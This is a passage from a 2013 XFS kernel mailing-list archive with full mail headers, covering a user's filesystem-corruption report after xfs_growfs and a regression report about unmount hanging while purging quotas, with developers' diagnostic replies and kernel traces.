__lookup_hash+0x32/0x50 [ 8920.597933] [] ? lookup_slow+0x3c/0xa2 [ 8920.597935] [] ? path_lookupat+0x6c1/0x730 [ 8920.597938] [] ? pagevec_lru_move_fn+0xc5/0xe0 [ 8920.597940] [] ? pagevec_lookup+0x20/0x20 [ 8920.597942] [] ? filename_lookup+0x2f/0xd0 [ 8920.597944] [] ? getname_flags.part.50+0x84/0x130 [ 8920.597946] [] ? user_path_at_empty+0x92/0x120 [ 8920.597948] [] ? cp_new_stat+0x117/0x130 [ 8920.597950] [] ? vfs_fstatat+0x40/0x90 [ 8920.597952] [] ? SYSC_newlstat+0x12/0x30 [ 8920.597955] [] ? syscall_trace_enter+0x1a/0x1f0 [ 8920.597958] [] ? tracesys+0x7e/0xe2 [ 8920.597959] [] ? tracesys+0xdd/0xe2 [ 8920.597961] XFS (dm-16): Corruption detected. Unmount and run xfs_repair [ 8941.762510] ffff880170014000: 58 46 53 42 00 00 10 00 00 00 00 00 1f 40 00 00 XFSB.........@.. [ 8941.762515] ffff880170014010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 8941.762517] ffff880170014020: cb fe 0d 27 44 d9 43 67 85 17 0a 28 35 68 0e f2 ...'D.Cg...(5h.. [ 8941.762519] ffff880170014030: 00 00 00 00 04 00 00 07 00 00 00 00 00 00 00 c0 ................ That's odd since before 3.10.1 kernel I was using 3.10 and nothing like this ever happened. Should I downgrade the kernel? Regards Andreas Klauer From jeff.liu@oracle.com Thu Jul 18 07:02:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5AA6F7F37 for ; Thu, 18 Jul 2013 07:02:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4BA12304053 for ; Thu, 18 Jul 2013 05:01:58 -0700 (PDT) X-ASG-Debug-ID: 1374148917-04cbb046911122af0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 3AIeJLDOmvUevyFR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 05:01:57 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6IC1sPQ007172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 18 Jul 2013 12:01:55 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6IC1rSi025406 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 18 Jul 2013 12:01:54 GMT Received: from abhmt117.oracle.com (abhmt117.oracle.com [141.146.116.69]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6IC1rWr025387; Thu, 18 Jul 2013 12:01:53 GMT Received: from [192.168.1.100] (/114.248.196.156) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 18 Jul 2013 05:01:53 -0700 Message-ID: <51E7D943.4040101@oracle.com> Date: Thu, 18 Jul 2013 20:02:11 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, Chandra Seetharaman Subject: Re: [regression 3.11-rc1] unmount hanging purging quotas References: <20130718110931.GA13468@dastard> X-ASG-Orig-Subj: Re: [regression 3.11-rc1] unmount hanging purging quotas In-Reply-To: <20130718110931.GA13468@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374148917 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137117 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/18/2013 07:09 PM, Dave Chinner wrote: > Hi Chandra, > > I'm seeing xfs/050 hanging on a current oss-xfs master tree during > unmount getting stuck purging dquots. it basically loops there > forever. Have you seen anything like this recently? FYI, I also ran into the same issue with 050 against mainline Linux-3.11-rc1 this afternoon, the latest commits of XFS is: commit c31ad439e8d111bf911c9cc80619cebde411a44d Author: Chandra Seetharaman Date: Wed Jul 10 18:00:36 2013 -0500 xfs: Fix the logic check for all quotas being turned off Thanks, -Jeff > > # echo w > /proc/sysrq-trigger > [ 5179.063824] SysRq : Show Blocked State > [ 5179.064895] task PC stack pid father > [ 5179.066459] umount D ffff88007fd13280 5592 27782 26800 0x00000000 > [ 5179.067478] ffff88007b747b98 0000000000000046 ffff8800524e4500 ffff88007b747fd8 > [ 5179.067478] ffff88007b747fd8 ffff88007b747fd8 ffff88007c83dc00 ffff8800524e4500 > [ 5179.067478] ffff88007b747b88 ffff88007b747bd0 ffff88007c858000 0000000100129cb6 > [ 5179.067478] Call Trace: > [ 5179.067478] [] schedule+0x29/0x70 > [ 5179.067478] [] schedule_timeout+0x10b/0x1f0 > [ 5179.067478] [] ? usleep_range+0x50/0x50 > [ 5179.067478] [] ? xfs_qm_need_dqattach+0x80/0x80 > [ 5179.067478] [] schedule_timeout_uninterruptible+0x1e/0x20 > [ 5179.067478] [] xfs_qm_dquot_walk+0x19b/0x1b0 > [ 5179.067478] [] ? _raw_spin_lock_irqsave+0x24/0x30 > [ 5179.067478] [] ? do_raw_spin_unlock+0x5d/0xb0 > [ 5179.067478] [] ? flush_work+0x34/0x160 > [ 5179.067478] [] ? del_timer+0x54/0x70 > [ 5179.067478] [] ? try_to_grab_pending+0xd1/0x190 > [ 5179.067478] [] xfs_qm_dqpurge_all+0x40/0x90 > [ 5179.067478] [] xfs_qm_unmount+0x25/0x40 > [ 5179.067478] [] xfs_unmountfs+0x7c/0x120 > [ 5179.067478] [] xfs_fs_put_super+0x25/0x60 > [ 5179.067478] [] generic_shutdown_super+0x61/0xf0 > [ 5179.067478] [] kill_block_super+0x30/0x80 > [ 5179.067478] [] deactivate_locked_super+0x4d/0x80 > [ 5179.067478] [] deactivate_super+0x4e/0x70 > [ 5179.067478] [] mntput_no_expire+0x101/0x160 > [ 5179.067478] [] SyS_umount+0x9c/0x3a0 > [ 5179.067478] [] system_call_fastpath+0x16/0x1b > > Cheers, > > Dave. From david@fromorbit.com Thu Jul 18 07:45:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E9707F3F for ; Thu, 18 Jul 2013 07:45:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D007F30404E for ; Thu, 18 Jul 2013 05:45:55 -0700 (PDT) X-ASG-Debug-ID: 1374151553-04bdf0245b12ffd0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id SgrlNljSvrJMfbVy for ; Thu, 18 Jul 2013 05:45:54 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgIZANfi51F5LK4r/2dsb2JhbABagwaNfQOuDYUvBAGBDhd0giMBAQQBOhwjBQsIAxgJJQ8FJQMhE4gKBak1gyeKEhaOPwiBHQeDDW4Dl1uKI4crgyQqgS4k Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail07.adl2.internode.on.net with ESMTP; 18 Jul 2013 22:15:30 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzna3-0001up-LW; Thu, 18 Jul 2013 22:45:11 +1000 Date: Thu, 18 Jul 2013 22:45:11 +1000 From: Dave Chinner To: Andreas Klauer Cc: xfs@oss.sgi.com Subject: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Message-ID: <20130718124511.GC13468@dastard> X-ASG-Orig-Subj: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <20130718110437.GA8090@EIS> <20130718111306.GB13468@dastard> <20130718112938.GB8090@EIS> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718112938.GB8090@EIS> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374151553 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 18, 2013 at 01:29:39PM +0200, Andreas Klauer wrote: > On Thu, Jul 18, 2013 at 09:13:06PM +1000, Dave Chinner wrote: > > What's in dmesg? > > I forgot to check. *blush* > > [ 8004.578647] ffff8801d16f5000: 58 46 53 42 00 00 10 00 00 00 00 00 1f 40 00 00 XFSB.........@.. > [ 8004.578652] ffff8801d16f5010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ > [ 8004.578654] ffff8801d16f5020: cb fe 0d 27 44 d9 43 67 85 17 0a 28 35 68 0e f2 ...'D.Cg...(5h.. > [ 8004.578656] ffff8801d16f5030: 00 00 00 00 04 00 00 07 00 00 00 00 00 00 00 c0 ................ > [ 8004.578660] XFS (dm-19): Internal error xfs_sb_read_verify at line 730 of file fs/xfs/xfs_mount.c. Caller 0xffffffff811e99bd > > [ 8004.578663] CPU: 1 PID: 80 Comm: kworker/1:1H Not tainted 3.10.1 #1 > [ 8004.578665] Hardware name: /DP35DP, BIOS DPP3510J.86A.0572.2009.0715.2346 07/15/2009 > [ 8004.578671] Workqueue: xfslogd xfs_buf_iodone_work > [ 8004.578674] ffffffff81655f86 0000000000000072 ffffffff811eb542 ffffffff811e99bd > [ 8004.578677] ffff8802000002da ffff8802312be5fd ffff8801c67f4a80 0000000000000075 > [ 8004.578680] ffff88021c04f800 0000000000001000 ffffffff8123764c ffffffff811e99bd > [ 8004.578683] Call Trace: > [ 8004.578688] [] ? dump_stack+0xd/0x17 > [ 8004.578692] [] ? xfs_corruption_error+0x62/0x90 > [ 8004.578700] [] ? xfs_buf_iodone_work+0x8d/0xb0 > [ 8004.578702] [] ? xfs_sb_read_verify+0x11c/0x130 > [ 8004.578704] [] ? xfs_buf_iodone_work+0x8d/0xb0 > [ 8004.578706] [] ? xfs_buf_iodone_work+0x8d/0xb0 > [ 8004.578709] [] ? process_one_work+0x13a/0x3b0 > [ 8004.578711] [] ? worker_thread+0x116/0x370 > [ 8004.578713] [] ? manage_workers.isra.29+0x290/0x290 > [ 8004.578715] [] ? kthread+0xb3/0xc0 > [ 8004.578718] [] ? posix_cpu_timer_set+0xf0/0x300 > [ 8004.578719] [] ? kthread_create_on_node+0x120/0x120 > [ 8004.578722] [] ? ret_from_fork+0x7c/0xb0 > [ 8004.578724] [] ? kthread_create_on_node+0x120/0x120 > [ 8004.578725] XFS (dm-19): Corruption detected. Unmount and run xfs_repair > [ 8004.578731] XFS (dm-19): metadata I/O error: block 0x4e200000 ("xfs_trans_read_buf_map") error 117 numblks 8 > [ 8004.578734] XFS (dm-19): error 117 reading secondary superblock for ag 5 > > > So it looks like it got to AG 5 and failed for some reason.... Ok, so the problem is as expected - the secondary superblock in AG 5 is not verifying correctly. Can you run: # xfs_db -r -c "sb 0" -c p -c "sb 5" -c p And post the output? > Thanks for your quick reply! > > I'm also getting panics for other XFS filesystems which I didn't even grow > nor touch in any other way: > > [ 8920.597875] XFS (dm-16): xfs_iread: validation failed for inode 275419712 failed > [ 8920.597880] ffff88014e46a000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ > [ 8920.597881] ffff88014e46a010: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ > [ 8920.597883] ffff88014e46a020: ff ff ff ff 00 00 00 00 45 30 45 07 00 00 00 00 ........E0E..... > [ 8920.597884] ffff88014e46a030: 4d d5 25 2c 32 a7 01 56 00 00 00 00 00 00 21 01 M.%,2..V......!. > [ 8920.597886] XFS (dm-16): Internal error xfs_iread at line 1062 of file fs/xfs/xfs_inode.c. Caller 0xffffffff811f0b1e Yup, that's a real corruption. Something has trashed a location where inodes should be on disk. > That's odd since before 3.10.1 kernel I was using 3.10 and nothing > like this ever happened. Should I downgrade the kernel? There shouldn't be any XFS changes between 3.10.0 and 3.10.1, so I'm not sure that's your problem. It looks to me like there's pre-existing corruption on disk, and 3.10 is simply finding it. Have you recently upgraded from an older kernel (i.e. older than 3.9)? Cheers, Dave. -- Dave Chinner david@fromorbit.com From Andreas.Klauer@metamorpher.de Thu Jul 18 08:18:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B5887F4E for ; Thu, 18 Jul 2013 08:18:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F20E5AC005 for ; Thu, 18 Jul 2013 06:18:53 -0700 (PDT) X-ASG-Debug-ID: 1374153530-04bdf0245b1335e0001-NocioJ Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.18.43]) by cuda.sgi.com with ESMTP id nEyRGL2qurVTUcm0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 06:18:51 -0700 (PDT) X-Barracuda-Envelope-From: Andreas.Klauer@metamorpher.de X-Barracuda-Apparent-Source-IP: 80.67.18.43 Received: from [80.67.16.118] (helo=webmailfront01.ispgateway.de) by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Uzo6b-0006fc-6s; Thu, 18 Jul 2013 15:18:49 +0200 Received: from pD9E502C8.dip0.t-ipconnect.de (pD9E502C8.dip0.t-ipconnect.de [217.229.2.200]) by webmail.df.eu (Horde Framework) with HTTP; Thu, 18 Jul 2013 15:18:49 +0200 Date: Thu, 18 Jul 2013 15:18:49 +0200 Message-ID: <20130718151849.Horde.SOx_yTbdM5xJzVuZr8FMdw2@webmail.df.eu> From: Andreas.Klauer@metamorpher.de To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <20130718110437.GA8090@EIS> <20130718111306.GB13468@dastard> <20130718112938.GB8090@EIS> <20130718124511.GC13468@dastard> X-ASG-Orig-Subj: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning In-Reply-To: <20130718124511.GC13468@dastard> User-Agent: Internet Messaging Program (IMP) H5 (6.0.4) Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes MIME-Version: 1.0 Content-Disposition: inline X-Df-Sender: QW5kcmVhcy5LbGF1ZXJAbWV0YW1vcnBoZXIuZGU= X-Barracuda-Connect: smtprelay01.ispgateway.de[80.67.18.43] X-Barracuda-Start-Time: 1374153531 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137121 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name Quoting Dave Chinner : > There shouldn't be any XFS changes between 3.10.0 and 3.10.1, so I'm > not sure that's your problem. It looks to me like there's > pre-existing corruption on disk, and 3.10 is simply finding it. Have > you recently upgraded from an older kernel (i.e. older than 3.9)? Hey Dave, thanks again for your help. You may be right about it being some other corruption. Another kernel panic (this time, reiserfs!) caused the box to hang entirely, and I'm in a Ubuntu 13.04 LiveCD now (sending this mail via webmail interface). I will link to a photo of the reiserfs panic at the bottom of the mail in case it's of interest. I did a memtest and SMART selftest (only short so far, will do a long one later on), no errors there, and everything looks fine from the rescue system as well, so I'm not sure what is going on. The LVM is on LUKS which in turn is on RAID-5 (mdadm) so even a single HDD failure should be covered by the RAID, although the panic/reset caused it to resync. There was nothing in dmesg that'd point to a HDD or any other IO failure though. > Ok, so the problem is as expected - the secondary superblock in AG 5 > is not verifying correctly. Can you run: > > # xfs_db -r -c "sb 0" -c p -c "sb 5" -c p > > And post the output? These values are from the Ubuntu live / rescue system now. While I did not modify it - working with snapshots for now - I'm not sure how useful they are anymore after the reboot. The growing of the filesystem worked fine for a snapshot, no errors at all. magicnum = 0x58465342 blocksize = 4096 dblocks = 524288000 rblocks = 0 rextents = 0 uuid = cbfe0d27-44d9-4367-8517-0a2835680ef2 logstart = 67108871 rootino = 192 rbmino = 193 rsumino = 194 rextsize = 1 agblocks = 32768000 agcount = 16 rbmblocks = 0 logblocks = 32768 versionnum = 0xbca4 sectsize = 4096 inodesize = 256 inopblock = 16 fname = "\000\000\000\000\000\000\000\000\000\000\000\000" blocklog = 12 sectlog = 12 inodelog = 8 inopblog = 4 agblklog = 25 rextslog = 0 inprogress = 0 imax_pct = 25 icount = 8704 ifree = 854 fdblocks = 26540703 frextents = 0 uquotino = 0 gquotino = 0 qflags = 0 flags = 0 shared_vn = 0 inoalignmt = 2 unit = 0 width = 0 dirblklog = 0 logsectlog = 12 logsectsize = 4096 logsunit = 4096 features2 = 0xa bad_features2 = 0xa magicnum = 0x58465342 blocksize = 4096 dblocks = 524288000 rblocks = 0 rextents = 0 uuid = cbfe0d27-44d9-4367-8517-0a2835680ef2 logstart = 67108871 rootino = 192 rbmino = 193 rsumino = 194 rextsize = 1 agblocks = 32768000 agcount = 16 rbmblocks = 0 logblocks = 32768 versionnum = 0xbca4 sectsize = 4096 inodesize = 256 inopblock = 16 fname = "\000\000\000\000\000\000\000\000\000\000\000\000" blocklog = 12 sectlog = 12 inodelog = 8 inopblog = 4 agblklog = 25 rextslog = 0 inprogress = 0 imax_pct = 25 icount = 6272 ifree = 575 fdblocks = 19359822 frextents = 0 uquotino = 0 gquotino = 0 qflags = 0 flags = 0 shared_vn = 0 inoalignmt = 2 unit = 0 width = 0 dirblklog = 0 logsectlog = 12 logsectsize = 4096 logsunit = 4096 features2 = 0xa bad_features2 = 0xa Regards Andreas Klauer PS: the reiserfs panic - sorry it's a photo, if there's an easy way to make Linux dump such somewhere digitally, I haven't learned of it yet http://666kb.com/i/cfw9k11348jh7hlmw.png From sekharan@us.ibm.com Thu Jul 18 08:58:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8D9F67F3F for ; Thu, 18 Jul 2013 08:58:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 58A08304059 for ; Thu, 18 Jul 2013 06:58:17 -0700 (PDT) X-ASG-Debug-ID: 1374155895-04bdf0245c137010001-NocioJ Received: from e8.ny.us.ibm.com (e8.ny.us.ibm.com [32.97.182.138]) by cuda.sgi.com with ESMTP id BPZLRLtDEoEXwczK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 06:58:16 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.138 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] Received: from /spool/local by e8.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 18 Jul 2013 14:58:15 +0100 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.138] Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e8.ny.us.ibm.com (192.168.1.108) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 18 Jul 2013 14:58:12 +0100 Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 6535E6E8028 for ; Thu, 18 Jul 2013 09:58:06 -0400 (EDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6IDw7hI119688 for ; Thu, 18 Jul 2013 09:58:10 -0400 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6IDw6HD024490 for ; Thu, 18 Jul 2013 07:58:06 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6IDw6k6024456; Thu, 18 Jul 2013 07:58:06 -0600 Subject: Re: [regression 3.11-rc1] unmount hanging purging quotas From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [regression 3.11-rc1] unmount hanging purging quotas Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20130718110931.GA13468@dastard> References: <20130718110931.GA13468@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Thu, 18 Jul 2013 08:58:05 -0500 Message-ID: <1374155885.8941.26.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071813-0320-0000-0000-00000054969B X-Barracuda-Connect: e8.ny.us.ibm.com[32.97.182.138] X-Barracuda-Start-Time: 1374155896 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-18 at 21:09 +1000, Dave Chinner wrote: > Hi Chandra, > > I'm seeing xfs/050 hanging on a current oss-xfs master tree during > unmount getting stuck purging dquots. it basically loops there > forever. Have you seen anything like this recently? > I have been running xfstests successfully with CONFIG_XFS_DEBUG turned on in every patchset I have posted recently, and I have not seen any difference in behavior between the tree without my patchset and with my patchset. One difference I see is that one of my patches is not in the tree yet. I will test with the master tree as it is and report back. Chandra > # echo w > /proc/sysrq-trigger > [ 5179.063824] SysRq : Show Blocked State > [ 5179.064895] task PC stack pid father > [ 5179.066459] umount D ffff88007fd13280 5592 27782 26800 0x00000000 > [ 5179.067478] ffff88007b747b98 0000000000000046 ffff8800524e4500 ffff88007b747fd8 > [ 5179.067478] ffff88007b747fd8 ffff88007b747fd8 ffff88007c83dc00 ffff8800524e4500 > [ 5179.067478] ffff88007b747b88 ffff88007b747bd0 ffff88007c858000 0000000100129cb6 > [ 5179.067478] Call Trace: > [ 5179.067478] [] schedule+0x29/0x70 > [ 5179.067478] [] schedule_timeout+0x10b/0x1f0 > [ 5179.067478] [] ? usleep_range+0x50/0x50 > [ 5179.067478] [] ? xfs_qm_need_dqattach+0x80/0x80 > [ 5179.067478] [] schedule_timeout_uninterruptible+0x1e/0x20 > [ 5179.067478] [] xfs_qm_dquot_walk+0x19b/0x1b0 > [ 5179.067478] [] ? _raw_spin_lock_irqsave+0x24/0x30 > [ 5179.067478] [] ? do_raw_spin_unlock+0x5d/0xb0 > [ 5179.067478] [] ? flush_work+0x34/0x160 > [ 5179.067478] [] ? del_timer+0x54/0x70 > [ 5179.067478] [] ? try_to_grab_pending+0xd1/0x190 > [ 5179.067478] [] xfs_qm_dqpurge_all+0x40/0x90 > [ 5179.067478] [] xfs_qm_unmount+0x25/0x40 > [ 5179.067478] [] xfs_unmountfs+0x7c/0x120 > [ 5179.067478] [] xfs_fs_put_super+0x25/0x60 > [ 5179.067478] [] generic_shutdown_super+0x61/0xf0 > [ 5179.067478] [] kill_block_super+0x30/0x80 > [ 5179.067478] [] deactivate_locked_super+0x4d/0x80 > [ 5179.067478] [] deactivate_super+0x4e/0x70 > [ 5179.067478] [] mntput_no_expire+0x101/0x160 > [ 5179.067478] [] SyS_umount+0x9c/0x3a0 > [ 5179.067478] [] system_call_fastpath+0x16/0x1b > > Cheers, > > Dave. From Andreas.Klauer@metamorpher.de Thu Jul 18 09:51:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2CC567F3F for ; Thu, 18 Jul 2013 09:51:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 15A368F8035 for ; Thu, 18 Jul 2013 07:51:07 -0700 (PDT) X-ASG-Debug-ID: 1374159065-04bdf0245d13c920001-NocioJ Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.31.31]) by cuda.sgi.com with ESMTP id Yc2ZztLTgJmLYSf4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 07:51:06 -0700 (PDT) X-Barracuda-Envelope-From: Andreas.Klauer@metamorpher.de X-Barracuda-Apparent-Source-IP: 80.67.31.31 Received: from [80.67.16.118] (helo=webmailfront01.ispgateway.de) by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1UzpXr-00036S-NO; Thu, 18 Jul 2013 16:51:03 +0200 Received: from pD9E502C8.dip0.t-ipconnect.de (pD9E502C8.dip0.t-ipconnect.de [217.229.2.200]) by webmail.df.eu (Horde Framework) with HTTP; Thu, 18 Jul 2013 16:51:03 +0200 Date: Thu, 18 Jul 2013 16:51:03 +0200 Message-ID: <20130718165103.Horde.2fnDfu2TMCHHT7990c6Vqw2@webmail.df.eu> From: Andreas.Klauer@metamorpher.de To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <20130718110437.GA8090@EIS> <20130718111306.GB13468@dastard> <20130718112938.GB8090@EIS> <20130718124511.GC13468@dastard> X-ASG-Orig-Subj: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning In-Reply-To: <20130718124511.GC13468@dastard> User-Agent: Internet Messaging Program (IMP) H5 (6.0.4) Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes MIME-Version: 1.0 Content-Disposition: inline X-Df-Sender: QW5kcmVhcy5LbGF1ZXJAbWV0YW1vcnBoZXIuZGU= X-Barracuda-Connect: smtprelay04.ispgateway.de[80.67.31.31] X-Barracuda-Start-Time: 1374159066 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at 